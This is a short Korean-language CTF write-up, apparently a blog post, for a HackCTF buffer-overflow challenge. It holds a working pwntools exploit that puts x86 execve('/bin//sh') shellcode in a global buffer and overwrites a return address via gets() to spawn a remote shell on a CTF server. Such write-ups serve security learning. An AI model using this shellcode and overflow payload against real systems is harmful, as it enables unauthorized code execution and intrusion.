Name에 24 바이트짜리 쉘코드를 넣어놓고 (nop으로 바인딩)
gets 함수는 버퍼오버플로우 취약점이 있으므로 s와 sfp를 dummy로 채우고 Return address에 &name을 주면, return 시 name으로 리턴해서 name에 들어있는 쉘코드가 실행될 수 있다.
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz", 3003)
name = 0x804a060
pay = '\x90'*13
pay += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
pay += '\x90'*13
p.sendafter("Name : ", pay)
p.sendafter("input : ", 'A'*0x14 + 'B'*4 + p32(name))
p.interactive()
read 함수는 line으로 받아서 sendlineafter를 사용해야 되는 줄 알았는데 sendafter로 해야 제대로 payload가 전달되서 쉘이 실행됐다.
[HackCTF] x64 Simple_size_BOF (0) | 2020.01.01 |
---|---|
[HackCTF] x64 Buffer Overflow (0) | 2020.01.01 |
[HackCTF] Basic_FSB (0) | 2020.01.01 |
[HackCTF] Basic_bof #2 (0) | 2020.01.01 |
[HackCTF] Basic_bof #1 (0) | 2020.01.01 |